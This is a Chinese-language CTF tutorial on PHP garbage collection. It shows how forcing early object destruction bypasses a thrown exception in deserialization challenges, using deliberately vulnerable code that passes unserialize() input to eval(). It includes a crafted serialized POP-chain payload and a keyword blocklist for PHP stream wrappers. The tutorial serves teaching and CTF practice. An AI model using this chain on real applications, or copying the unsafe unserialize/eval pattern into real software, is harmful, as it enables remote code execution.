这篇文章介绍phpGC(垃圾回收)机制。
0x00 侠客日常(一):CTF江湖试剑
众所周知,在php中,当对象被销毁时会自动调用__destruct()方法,同时也要知道,如果程序报错或者抛出异常,则就不会触发该魔术方法。
看题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php highlight_file(__FILE__); error_reporting(0); class aa{ public $num; public function __destruct(){ echo $this->num."hello __destruct"; } } class bb{ public $string; public function __toString() { echo "hello __toString"; $this->string->flag(); } } class cc{ public $cmd; public function flag(){ echo "hello __flag()"; eval($this->cmd); } } $a=unserialize($_GET['code']); throw new Exception("Garbage collection"); ?>
|
很简单的一道题:
1
| 首先调用__destruct()方法-->通过num参数触发__toString()方法-->给string参数赋值,调用cc的flag()方法,实现RCE。
|
思路很简单,但是注意这里有拦路虎:
这里代码末尾做了异常抛出处理,就没法触发我们想要的__destruct()方法,此时该如何绕过它呢?
少侠勿慌,先练练秘笈。
0x01 侠客日常(二):修炼秘笈-php垃圾回收机制
一、初练神功
要解决上面遇到的拦路虎,就不得不了解一下php的GC机制:GC全称Garbage Collection,即垃圾回收机制。
php中,主要采用引用计数的方式来支持垃圾回收机制。简单来说,就是引用计数为0的变量可以进行回收,腾出资源。php中的变量存在于一个叫”zval”的变量容器中,容器中包含了变量的类型和值,以及两个字节的信息:
一个是”is_ref”:标识变量是否是引用集合,用于分开普通变量和引用变量。
一个是”refcount”:用于确定指向此变量的个数,即引用的个数。
引用计数:每个内存对象都分配一个 refcount计数器,当内存对象被变量引用时,refcount计数器+1;当变量引用撤掉后(如执行unset()后),refcount计数器-1;当 refcount计数器=0时(数组对象为NULL),表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成。
总的来说,php的垃圾回收机制存在三个版本时期:5.2之前、5.3-5.6、7.0之后,下面分别说一说:
1. php <=5.2
该版本及之前的垃圾回收机制就是单纯的使用引用计数方法。但是注意,当两个或多个对象互相引用形成循环,内存对象的refcount计数器并不会消减为0,也就就是说,此时这组内存对象已经没有被使用,但又不能回收,因此出现内存泄露现象。
2.php 5.3–>5.6
php5.3开始,使用了新的垃圾回收机制,在 引用计数 基础上,实现了一种复杂的算法,来检测内存对象中循环引用存在,以避免内存泄露。
在这些版本中,PHP把那些可能是垃圾的变量容器放入根缓冲区,当根缓冲区满了之后就会启动新的垃圾回收机制。过程如下:
如果发现一个zval容器中的refcount在增加,说明不是垃圾;
如果发现一个zval容器中的refcount在减少,如果减到了0,直接当做垃圾回收;
如果发现一个zval容器中的refcount在减少,并没有减到0,PHP会把该值放到缓冲区,当做有可能是垃圾的怀疑对象;
当缓冲区达到临界值,PHP会自动调用一个方法取遍历每一个值,如果发现是垃圾就清理。
3.php>=7.0
从PHP7的NTS版本开始,以下例程的引用将不再被计数,即 $c=$b=$a 之后 a 的引用计数也是1。
具体情况如下:
1.对于null,bool,int和double的类型变量,refcount永远不会计数;
2.对于对象、资源类型,refcount计数和php5的一致;
3.对于字符串,未被引用的变量被称为“实际字符串”。而那些被引用的字符串被重复删除(即只有一个带有特定内容的被插入的字符串)并保证在请求的整个持续时间内存在,所以不需要为它们使用引用计数;如果使用了opcache,这些字符串将存在于共享内存中,在这种情况下,您不能使用引用计数(因为我们的引用计数机制是非原子的);
4.对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则(即如果是字符串也不在计数);如果使用opcache,则代码中的常量数组文字将被转换为不可变数组。再次,这些生活在共享内存,因此不能使用refcounting。
测试如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php echo '测试字符串引用计数'; $a = "new string"; $b = $a; xdebug_debug_zval( 'a' ); unset( $b); xdebug_debug_zval( 'a' ); $b = &$a; xdebug_debug_zval( 'a' );
测试字符串引用计数 a: (refcount=1, is_ref=0)='new string' a: (refcount=1, is_ref=0)='new string' a: (refcount=2, is_ref=1)='new string'
echo '测试数组引用计数'; $c = array('a','b'); xdebug_debug_zval( 'c' ); $d = $c; xdebug_debug_zval( 'c' ); $c[2]='c'; xdebug_debug_zval( 'c' );
测试数组引用计数 c: (refcount=2, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b') c: (refcount=3, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b') c: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b', 2 => (refcount=1, is_ref=0)='c')
echo '测试int型计数'; $e = 1; xdebug_debug_zval( 'e' );
测试int型计数 e: (refcount=0, is_ref=0)=1
|
二、神功小成
通过如上的介绍与实验,我们可以总结如下:
1.绕过该异常抛出的方法就是通过提前触发垃圾回收机制,唤醒__destruct()魔术方法。
2.触发垃圾回收机制的方法有:(本质即使对象引用计数归零)
(1)对象被unset()处理时,可以触发。
(2)数组对象为NULL时,可以触发。
0x02 侠客日常(三):牛刀小试
上面我们知道了,当对象为NULL时也是可以触发_destruct()的,因此我们这里的话来试一下先传值给数组,之后将第二个索引置空:先构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php highlight_file(__FILE__); error_reporting(0); class aa{ public $num; } class bb{ public $string; } class cc{ public $cmd; } $a = new aa(); $a->num=new bb(); $a->num->string=new cc(); $a->num->string->cmd="phpinfo();"; $b=array($a,0); echo serialize($b);
|
得到:
1
| a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
|
将i:1
修改为i:0
:
1
| a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
|
打一下:
可以看到,成功执行执行phpinfo()。
0x03 侠客日常(四):挑战群雄
知道了原理,也经过了实验,想必各位侠客们早已创出了不少独家绝学,迫不及待要一展身手了,因此在这里摆下擂台,设下题目,给各位大侠一展拳脚:
题目一:CTFShow[卷王杯]easy unserialize
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php
include("./HappyYear.php");
class one { public $object;
public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); }
public function __destruct() { @$this->object->add(); }
public function __toString() { return $this->object->string; } }
class second { protected $filename;
protected function addMe() { return "Wow you have sovled".$this->filename; }
public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); } }
class third { private $string;
public function __construct($string) { $this->string = $string; }
public function __get($name) { $var = $this->$name; $var[$name](); } }
if (isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道"); } else { highlight_file(__FILE__); }
|
题目二:[NSSCTF]prize_p1
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <META http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php highlight_file(__FILE__); class getflag { function __destruct() { echo getenv("FLAG"); } }
class A { public $config; function __destruct() { if ($this->config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } } } if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) { die("我知道你想干吗,我的建议是不要那样做。"); } unserialize($_GET[0]); throw new Error("那么就从这里开始起航吧");
|